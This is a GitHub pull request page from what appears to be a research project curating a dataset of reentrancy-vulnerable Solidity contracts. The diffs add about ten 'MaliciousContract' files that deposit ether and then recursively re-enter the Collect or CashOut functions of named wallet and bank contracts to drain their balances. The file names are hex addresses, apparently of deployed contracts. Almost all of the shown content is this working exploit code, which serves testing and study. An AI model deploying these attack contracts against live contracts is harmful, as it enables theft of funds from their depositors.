Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

6 sb curated reentrancy #26

Merged
merged 61 commits into from
Sep 17, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
61 commits
Select commit Hold shift + click to select a range
9e83813
removing old folder for reentrancy
sofiabobadilla Jun 19, 2024
aa39b28
cleaning test folder
sofiabobadilla Jun 19, 2024
7bb77c3
reentrancy tests
sofiabobadilla Jun 19, 2024
838a6a3
add: test exploit for simple_dao.js
sofiabobadilla Jun 19, 2024
6c2461d
fix: removing debugging code from simpledao.js
sofiabobadilla Jun 20, 2024
890ea99
add: attack.sol and test file for 0x01f8c4e3fa3edeb29e514cba738d87ce8…
sofiabobadilla Jun 20, 2024
8f5a95a
fix: constrcutor definition
sofiabobadilla Jun 20, 2024
6fecbdd
fix:removing debug lines
sofiabobadilla Jun 20, 2024
ca71e74
add: logic on test
sofiabobadilla Jun 20, 2024
cb0a252
add: exploit for 0x4e73b32ed6c35f570686b89848e5f39f20ecc106.sol
sofiabobadilla Jun 20, 2024
4aa805b
add: sanity checks on test.js for 0x4e73b
sofiabobadilla Jun 24, 2024
aa5c111
fix: explanation in oracle for test 0x4e73b
sofiabobadilla Jun 24, 2024
f8068cc
add: exploit test and malicious cotnract for 0x7a8721
sofiabobadilla Jun 24, 2024
59d96ec
add: package&-lock .json to .gitignore
sofiabobadilla Jun 24, 2024
fe291df
fix: description test on oracle
sofiabobadilla Jun 24, 2024
061b880
fix: magic number on attack function
sofiabobadilla Jun 24, 2024
65a6cdc
fix: magic number on 0x01f8c4e3fa3edeb29e514cba738d87ce8c091d3f
sofiabobadilla Jun 25, 2024
d81d810
fix: magic number on contracts/reentrancy/0x7a8721a9d64c74da899424c1b…
sofiabobadilla Jun 25, 2024
379597a
fix: missing argument on attack call
sofiabobadilla Jun 25, 2024
ef9b6ad
add: test for 0x7b368c4e805c3870b6c49a3f1f49f69af8662cf3.sol
sofiabobadilla Jun 25, 2024
9a6eff9
fix: typo in comments
sofiabobadilla Jun 26, 2024
67a397e
fix:typo
sofiabobadilla Jun 26, 2024
91297ac
add: attack for 0x8c7777c45481dba411450c228cb692ac3d550344.sol
sofiabobadilla Jun 26, 2024
990de2f
add: test for 0x23a91059fdc9579a9fbd0edc5f2ea0bfdb70deb4.sol
sofiabobadilla Jun 26, 2024
d2a933e
add: exploit test for 0x93c32845fae42c83a70e5f06214c8433665c2ab5.sol
sofiabobadilla Jun 26, 2024
02597ad
add attack files for 96edbe868531bd23a6c05e9d0c424ea64fb1b78b
sofiabobadilla Jul 22, 2024
d0e1380
fix:removing debug lines from attack files for 96edbe868531bd23a6c05e…
sofiabobadilla Jul 22, 2024
371c2a0
add: test for 0x561ea....sol
sofiabobadilla Jul 22, 2024
10199fd
add attack for contract 0x94- reentrancy
sofiabobadilla Jul 22, 2024
4397e0f
add: test for 0x432 on debug version
sofiabobadilla Jul 22, 2024
bc4620f
fix: attack for 0x432 without debug version
sofiabobadilla Jul 22, 2024
617c140
fix: wrong modifier on Malicious Contract for 0x01
sofiabobadilla Jul 23, 2024
f188105
fix: wrong modifier and function definition for 0x4e
sofiabobadilla Jul 23, 2024
ab801ac
fix: wrong call on attack for 0x7a
sofiabobadilla Jul 24, 2024
e7b2eca
fix: attack contract for 0x7b reentrancy
sofiabobadilla Jul 24, 2024
82d00a5
fix: wrong notation on attack contracts
sofiabobadilla Jul 24, 2024
8004b3e
minor refactor
sofiabobadilla Jul 24, 2024
d70e048
fix: attack method for 0x93
sofiabobadilla Jul 24, 2024
e68985e
fix: error on attack method for 0x96
sofiabobadilla Jul 24, 2024
aa34858
fix: attack method for 0x56
sofiabobadilla Jul 24, 2024
60fc189
add: attack for 0x94
sofiabobadilla Jul 24, 2024
62ef82a
add: attack for 0x754
sofiabobadilla Jul 24, 2024
38a654c
add attack for reentrancy
sofiabobadilla Jul 24, 2024
e3407d3
add: attack for 0xb5
sofiabobadilla Jul 24, 2024
1941599
add: attack for 0xb9
sofiabobadilla Jul 24, 2024
925a7e2
add: contract for 0xbaf5
sofiabobadilla Jul 24, 2024
d93499d
add: attack for 0xbe4
sofiabobadilla Jul 24, 2024
82d74bc
fix: readability of parameters on attack contracts
sofiabobadilla Jul 24, 2024
d70b93b
add: attack for oxcead
sofiabobadilla Jul 25, 2024
216dbf4
add: attack for contract 0xf01
sofiabobadilla Jul 25, 2024
b9fdc08
fix: wrong attack contract call
sofiabobadilla Jul 25, 2024
756bf8e
fix: wrong attack contract call on 0xcead
sofiabobadilla Jul 25, 2024
9e1f1e5
fix: wrong addres call for malicious contract
sofiabobadilla Jul 25, 2024
64ecd5e
add: attack for modifier_reentrancy
sofiabobadilla Aug 14, 2024
aee1d78
add: attack for etherstore
sofiabobadilla Aug 14, 2024
63ae975
add: attack for reentrance.sol
sofiabobadilla Aug 14, 2024
cd7a8ca
fix: typo on test file
sofiabobadilla Aug 14, 2024
160bd25
add: attack for reentrancy_bonus.sol
sofiabobadilla Aug 19, 2024
2ae857b
add: exploit for reentrancy_dao.sol
sofiabobadilla Aug 23, 2024
4bab946
add: exploit for reentrancy_simple.sol
sofiabobadilla Aug 23, 2024
3d23b00
fix: improve test invariant
sofiabobadilla Sep 17, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 4 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -379,4 +379,7 @@ node_modules

# hardhat
artifacts
cache
cache

package-lock.json
package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
pragma solidity ^0.4.19;

import "../dataset/reentrancy/0x01f8c4e3fa3edeb29e514cba738d87ce8c091d3f.sol";


contract MaliciousContract {
PERSONAL_BANK personalBank;
bool attackInitiated;

constructor(address _victimAddress) public {
personalBank = PERSONAL_BANK(_victimAddress);
}

function attack(uint amount) public {
require(!attackInitiated, "Attack already initiated");
require(amount >= 1 ether, "Must send at least 1 ether");

// Call the vulnerable function to start the reentrancy attack

personalBank.Collect(amount);

attackInitiated = true;
}

function deposit() public payable{
require(msg.value >= 1 ether, "Must send at least 1 ether");
personalBank.Deposit.value(msg.value)();
}


function() payable public {
// Re-enter the vulnerable function if there's still balance to collect
if (!attackInitiated && address(personalBank).balance >= 1 ether) {
personalBank.Collect(1 ether);
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
pragma solidity ^0.4.19;

import "../dataset/reentrancy/0x23a91059fdc9579a9fbd0edc5f2ea0bfdb70deb4.sol";

contract MaliciousContract{
PrivateBank privateBank;


constructor(address _victimAddress) public{
privateBank= PrivateBank (_victimAddress);
}

function attack(uint amount) public {
require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
privateBank.CashOut(amount);
}

function deposit() public payable{
require(msg.value >= 1 ether, "Must add at least 1 ether");
privateBank.Deposit.value(msg.value)();
}

function() payable public {
// Re-enter the vulnerable function if there's still balance to collect
if ( address(privateBank).balance >= 1 ether) {
privateBank.CashOut(1 ether);
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
pragma solidity ^0.4.19;
import "../dataset/reentrancy/0x4320e6f8c05b27ab4707cd1f6d5ce6f3e4b3a5a1.sol";

contract MaliciousContract{
ACCURAL_DEPOSIT accural_deposit;


constructor(address _victimAddress) public{
accural_deposit= ACCURAL_DEPOSIT (_victimAddress);
}

function attack(uint amount) public {
require(amount >= 1 ether , "Must attempt an attack for at least 1 ether");
accural_deposit.Collect(amount);
}

function deposit() public payable{
require(msg.value >= 1 ether, "Must add at least 1 ether");
accural_deposit.Deposit.value(msg.value)();
}


function() payable public {
// Re-enter the vulnerable function if there's still balance to collect
if ( address(accural_deposit).balance >= 1 ether) {
accural_deposit.Collect(1 ether);
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
pragma solidity ^0.4.19;

import "../dataset/reentrancy/0x4e73b32ed6c35f570686b89848e5f39f20ecc106.sol";


contract MaliciousContract {
PRIVATE_ETH_CELL privateETHCell;
bool attackInitiated;

constructor(address _victimAddress) public {
privateETHCell = PRIVATE_ETH_CELL(_victimAddress);
}

function attack(uint amount) public {
require(!attackInitiated, "Attack already initiated");

// Call the vulnerable function to start the reentrancy attack
require(amount >= 1 ether, "Must send at least 1 ether");
privateETHCell.Collect(amount);

attackInitiated = true;
}

function deposit() public payable{
require(msg.value >= 1 ether, "Must send at least 1 ether");
privateETHCell.Deposit.value(msg.value)();
}


function() payable public {
// Re-enter the vulnerable function if there's still balance to collect
if (!attackInitiated && address(privateETHCell).balance >= 1 ether) {
privateETHCell.Collect(1 ether);
}
}
}

Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@

pragma solidity ^0.4.19;

import "../dataset/reentrancy/0x561eac93c92360949ab1f1403323e6db345cbf31.sol";


contract MaliciousContract{
BANK_SAFE bank_SAFE;


constructor(address _victimAddress) public{
bank_SAFE= BANK_SAFE (_victimAddress);
}

function attack(uint amount) public {
require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
bank_SAFE.Collect(amount);
}

function deposit() public payable{
require(msg.value >= 1 ether, "Must add at least 1 ether");
bank_SAFE.Deposit.value(msg.value)();
}

function() payable public {
// Re-enter the vulnerable function if there's still balance to collect
if ( address(bank_SAFE).balance >= 1 ether) {
bank_SAFE.Collect(1 ether);
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
pragma solidity ^0.4.25;

import "../dataset/reentrancy/0x7541b76cb60f4c60af330c208b0623b7f54bf615.sol";




contract MaliciousContract{
U_BANK u_bank;


constructor(address _victimAddress) public{
u_bank= U_BANK (_victimAddress);
}

function attack(uint amount) public {
require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
u_bank.Collect(amount);
}

function deposit() public payable{
require(msg.value >= 1 ether, "Must add at least 1 ether");
u_bank.Put.value(msg.value)(1);
}

function() payable public {
// Re-enter the vulnerable function if there's still balance to collect
if ( address(u_bank).balance >= 2 ether) {
u_bank.Collect(2 ether);
}
}




}

Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
pragma solidity ^0.4.19;

import "../dataset/reentrancy/0x7a8721a9d64c74da899424c1b52acbf58ddc9782.sol";

contract MaliciousContract {
PrivateDeposit privateDeposit;

constructor(address _victimAddress) public {
privateDeposit = PrivateDeposit(_victimAddress);
}

function attack(uint amount) public {
privateDeposit.CashOut(amount);

}
function deposit() public payable{
require(msg.value >= 1 ether, "Must send at least 1 ether");
privateDeposit.Deposit.value(msg.value)();
}

function() payable public {
// Re-enter the vulnerable function if there's still balance to collect
if ( address(privateDeposit).balance >= 1 ether) {
privateDeposit.CashOut(1 ether);
}
}


}
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
pragma solidity ^0.4.25;

import "../dataset/reentrancy/0x7b368c4e805c3870b6c49a3f1f49f69af8662cf3.sol";

contract MaliciousContract{
W_WALLET w_WALLET;


constructor(address _victimAddress) public{
w_WALLET= W_WALLET (_victimAddress);
}

function attack(uint amount) public {
require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
w_WALLET.Collect(amount);
}

function deposit() public payable{
require(msg.value >= 1 ether, "Must add at least 1 ether");
w_WALLET.Put.value(msg.value)(1);
}

function() payable public {
// Re-enter the vulnerable function if there's still balance to collect
if ( address(w_WALLET).balance >= 1 ether) {
w_WALLET.Collect(1 ether);
}
}




}
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
pragma solidity ^0.4.19;

import "../dataset/reentrancy/0x8c7777c45481dba411450c228cb692ac3d550344.sol";

contract MaliciousContract{
ETH_VAULT eth_VAULT;


constructor(address _victimAddress) public{
eth_VAULT= ETH_VAULT (_victimAddress);
}

function attack(uint amount) public {
require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
eth_VAULT.CashOut(amount);
}

function deposit() public payable{
require(msg.value >= 1 ether, "Must add at least 1 ether");
eth_VAULT.Deposit.value(msg.value)();
}

function() payable public {
// Re-enter the vulnerable function if there's still balance to collect
if ( address(eth_VAULT).balance >= 1 ether) {
eth_VAULT.CashOut(1 ether);
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
pragma solidity ^0.4.19;

import "../dataset/reentrancy/0x93c32845fae42c83a70e5f06214c8433665c2ab5.sol";


contract MaliciousContract{
X_WALLET x_WALLET;


constructor(address _victimAddress) public{
x_WALLET= X_WALLET (_victimAddress);
}

function attack(uint amount) public {
require(amount >= 1 ether, "Must attempt and attack with at least 1 ether");
x_WALLET.Collect(amount);
}

function deposit() public payable{
require(msg.value >= 1 ether, "Must add at least 1 ether");
x_WALLET.Put.value(msg.value)(1);
}

function() payable public {
// Re-enter the vulnerable function if there's still balance to collect
if ( address(x_WALLET).balance >= 1 ether) {
x_WALLET.Collect(1 ether);
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
pragma solidity ^0.4.19;
import "../dataset/reentrancy/0x941d225236464a25eb18076df7da6a91d0f95e9e.sol";



contract MaliciousContract{
ETH_FUND eth_FUND;


constructor(address _victimAddress) public{
eth_FUND= ETH_FUND (_victimAddress);
}

function attack(uint amount) public {
require(amount >= 1 ether, "Must send at least 1 ether");
eth_FUND.CashOut(amount);
}

function deposit() public payable{
require(msg.value >= 1 ether, "Must add at least 1 ether");
eth_FUND.Deposit.value(msg.value)();
}

function() payable public {
// Re-enter the vulnerable function if there's still balance to collect
if ( address(eth_FUND).balance >= 1 ether) {
eth_FUND.CashOut(1 ether);
}
}
}
Loading
Loading